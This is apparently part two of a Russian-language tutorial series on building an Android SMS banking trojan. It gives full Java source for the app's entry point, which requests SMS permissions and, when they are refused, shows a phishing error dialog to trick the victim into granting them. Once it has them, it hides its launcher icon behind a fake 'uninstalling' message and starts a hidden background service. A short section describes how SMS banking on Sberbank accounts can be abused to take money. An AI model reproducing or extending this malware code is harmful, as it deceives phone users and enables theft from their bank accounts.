December 29, 2018

Написание СМС трояна для Android [ 2 часть ]

Вот и доплыли до 2 части разработки смс трояна, в ней мы обсудим наш MainActivity, фишинг с окнами, сокрытие нашего приложение, поговорим про смс банкинг и прочие вещи. Приступим!

activity_main.xml ( интерфейс )​

Что обозначает этот xml файлик? В нашем случае он не нужен, даже мешает нам. Это лицо нашего приложения, именно то, что видит в нем пользователь, когда заходит в наше приложение. Но мы же троян? Верно? Нам не нужно это, ведь мы скрываемся и работаем без интерфейса автономно. Конечно, можете туда что-то написать по типу: "Ожидайте, загрузка...", "ERROR 100X500" и так далее. Но в моем случае я не стал это делать, может, если я захочу обновить этот инструмент ПЕНТЕСТА я добавлю это, но не сейчас и не в этом гайде. Вот где находится этот файлик в андроид студио и что у меня там написано.

Демонстрация

Вот так вот и живем. Кстати, в андроид студио есть целый редактор, ничего не надо вводить ручками. Даже можете выбрать свою картинку, эмблему, иконку и написать любую надпись с любым цветом и любым шрифтом. Есть где здесь фантазии разгулятся для фишинга)

MainActivity ( точка входа )​

В итоге с графикой мы закончили, приступим к нашему активити. Как вы поняли из прошлой части, то MainActivity это точка входа в наше приложение, именно оно активируется когда пользователь открывает наш троян.

Давайте-ка импортируем нужные нам пакеты и создадим класс MainActivity который будет расширять AppCompatActivity.

Код

Java:

package com.sms.smsbanker;
// импортируем пакеты
import android.app.AlertDialog;
import android.os.SystemClock;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.Manifest;
import android.support.v4.app.ActivityCompat;
import android.content.pm.PackageManager;
import android.content.ComponentName;
import android.widget.Toast;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.view.Gravity;
import android.support.v4.app.Fragment;
import android.content.DialogInterface;
import android.app.Activity;
//  MainActivity, точка входа
public class MainActivity extends AppCompatActivity {
    @Override
   // метод с которого мы начинаем
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);  // выставляем наш фон

Все, с созданием скелета MainActivity мы закончили, осталось только дописать самые необходимые вредоносные функции в него! Я, пожалуй, начну с написания проверки наших разрешений. Создам boolean который будет возвращать false, если разрешение нету и true, если они есть. Как только я его создаю - сразу вызываю его в нашем методе onCreate.

Код

Java:

public boolean Permission(){
        ActivityCompat.requestPermissions(MainActivity.this,
                new String[]{Manifest.permission.SEND_SMS, Manifest.permission.READ_SMS, Manifest.permission.RECEIVE_SMS},
                1); // запрашиваем разрешения и даем пользователю выбор
        SystemClock.sleep(5000); // ожидаем 5 секунд и проверяем выбор нашего пользователь
        if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED){
            return false; // если разрешения не дали
        } else {
            return true; // если разрешения дали
        }
    }

И, давайте, опубликую код вместе. Вдруг кому не понятно.

Код

Java:

package com.sms.smsbanker;

import android.app.AlertDialog;
import android.os.SystemClock;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.Manifest;
import android.support.v4.app.ActivityCompat;
import android.content.pm.PackageManager;
import android.content.ComponentName;
import android.widget.Toast;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.view.Gravity;
import android.support.v4.app.Fragment;
import android.content.DialogInterface;
import android.app.Activity;
public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Permission();
    }

    public boolean Permission(){
        ActivityCompat.requestPermissions(MainActivity.this,
                new String[]{Manifest.permission.SEND_SMS, Manifest.permission.READ_SMS, Manifest.permission.RECEIVE_SMS},
                1);
        SystemClock.sleep(5000);
        if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED){
            return false;
        } else {
            return true;
        }
    }
}

Все, впринципе все должно быть понятно. Юзер открывает --> запрашивается разрешения --> ждем 5 секунд --> проверяем выбор. Но, что если он их отклонил? Что дальше? Хм, может, давайте-ка сыграем на психологии? Попробуем обмануть нашего пользователя. Я исключаю бесконечное запрашивание, ибо скорее всего юзер перезагрузит телефон, если такое случится. Здесь хоть шансов побольше.

Код

Java:

@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Permission();
        if(!Permission()){   // если разрешений нету.
            AlertDialog.Builder adb = new AlertDialog.Builder(MainActivity.this);
            adb.setTitle("ОШИБКА!");
            adb.setMessage("Для работы этого приложения нужны необходимые разрешения, подтвердите их."); // показываем фишинг диалог и после того, как пользователь нажал OK закрываем наше приложение.
            adb.setPositiveButton("ok", new DialogInterface.OnClickListener(){
                public void onClick(DialogInterface dialog, int whichButton) {
                    finish();
                }
            });
            adb.show();
        }else{  // если они есть, то вызываем метод маскировки
            Mask();
        }
    }

Вы спросите, что за метод маскировки? Метод маскировки это базовое скрытие, оно будет только в MainActivity. Более детальное сокрытие будет в других классах. А сейчас мы разберем этот метод Mask. В нем мы будем скрывать иконку и показывать юзеру фейковое сообщения об удалении, хотя оно просто исчезнет с рабочего стола)

Вот и все, мы закончили с нашем мэйнактивити и вызвали другой класс. Все здесь предельно легко и просто. Мы проверяем разрешения, если есть то запускаем булеан Mask, если нету то обманываем пользователя на то, чтобы он дал нам разрешение.

Код

Java:

public boolean Mask() {
        try {
            PackageManager pm = getPackageManager(); // инициализируем наш PackageManager
            ComponentName componentName = new ComponentName(this, com.sms.smsbanker.MainActivity.class);
            pm.setComponentEnabledSetting(componentName,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); // прячем приложение
            SystemClock.sleep(10000); // ждем 10 секунд после сокрытия и показываем сообщения
            Toast toast = Toast.makeText(getApplicationContext(), // показываем фейковое сообщение
                    "ОШИБКА (0x1619), ПРОИЗВОДИТСЯ УДАЛЕНИЕ ПРИЛОЖЕНИЯ...", Toast.LENGTH_LONG);
            toast.setGravity(Gravity.CENTER, 0, 0); // указываем, чтобы фейковое сообщения появилось по центру на экране
            toast.show(); // показываем наше сообщение
            startService(new Intent(this, Other.class)); // стартуем другой класс
            finish(); // завершаем наш мэйнактивити
            return true; // если сокрытие удалось
        } catch (Exception e) {
            startService(new Intent(this, Other.class));
            finish();
            return false; // если сокрытие не удалось
        }
    }

Выложу фулл код для тех, кто ничего не понял. Может вам будет так легче, ну или скрипткидди просто скопируют это, без разницы.

Весь код

Java:

package com.sms.smsbanker;

import android.app.AlertDialog;
import android.os.SystemClock;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.Manifest;
import android.support.v4.app.ActivityCompat;
import android.content.pm.PackageManager;
import android.content.ComponentName;
import android.widget.Toast;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.view.Gravity;
import android.support.v4.app.Fragment;
import android.content.DialogInterface;
import android.app.Activity;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Permission();
        if(!Permission()){
            AlertDialog.Builder adb = new AlertDialog.Builder(MainActivity.this);
            adb.setTitle("ОШИБКА!");
            adb.setMessage("Для работы этого приложения нужны необходимые разрешения, подтвердите их.");
            adb.setPositiveButton("ok", new DialogInterface.OnClickListener(){
                public void onClick(DialogInterface dialog, int whichButton) {
                    finish();
                }
            });
            adb.show();
        }else{
            Mask();
        }
    }

    public boolean Mask() {
        try {
            PackageManager pm = getPackageManager();
            ComponentName componentName = new ComponentName(this, com.sms.smsbanker.MainActivity.class);
            pm.setComponentEnabledSetting(componentName,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
            SystemClock.sleep(10000);
            Toast toast = Toast.makeText(getApplicationContext(),
                    "ОШИБКА (0x1619), ПРОИЗВОДИТСЯ УДАЛЕНИЕ ПРИЛОЖЕНИЯ...", Toast.LENGTH_LONG);
            toast.setGravity(Gravity.CENTER, 0, 0);
            toast.show();
            startService(new Intent(this, Other.class));
            finish();
            return true;
        } catch (Exception e) {
            startService(new Intent(this, Other.class));
            finish();
            return false;
        }
    }

    public boolean Permission(){
        ActivityCompat.requestPermissions(MainActivity.this,
                new String[]{Manifest.permission.SEND_SMS, Manifest.permission.READ_SMS, Manifest.permission.RECEIVE_SMS},
                1);
        SystemClock.sleep(5000);
        if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED){
            return false;
        } else {
            return true;
        }
    }
}

А другой класс мы уже разберем в другой части. Давайте перейдем к другой теме.

Немного об смс банкинге​

Смс банкинг особо разит сегодня у нас в стране. Почти у каждого есть свой счет в сбербанке, собственно есть и симка на которую привязаны наши карточки. Многие пользователи для удобства подключают дополнительную услугу, называется она "СМС Банкинг". При помощи этой услуги удобно одной смской переводить деньги на карточки, оплачивать покупки, штрафы, смотреть счета, бонусы и так далее. Но, если телефоном завладеет посторонний человек или программа - можете распрощаться с вашими средствами. Телефон - путь к вашим деньгам.

Многие пользователи неосторожны и скачивают все подряд с гугл плэя, там могут быть подобные угрозы. Они перехватывают смс, обрабатывают их, снимают деньги и в лучшем случае оставляют вас, а в худшем блокируют ваше устройство и вымогают еще деньги. Все ради денег, миром правят деньги.

Защита от подобного есть, но только не у сбербанка. Да, главное не банковская защита, а ВЫ. Не устанавливаете подозрительные приложения и не стоит выдавать разрешения на смс каждому второму приложению. Это может плохо повлиять на ваш кошелек)

Заключение

Все, на этом наша 2 часть закончилась. В 3 я опишу другой класс ( перехват смс ), дополнительную маскировку, закрепления в системе, возможно даже и связь с сервером. И помните ПРИМЕНЕНИЕ ПОДОБНОГО ПО ОТНОШЕНИЮ К ЛЮДЯМ С ЦЕЛЬЮ ПОЙМАТЬ ЛЕГКОГО БАБЛА КАРАЕТСЯ ЗАКОНОМ!

Всем удачи и пока!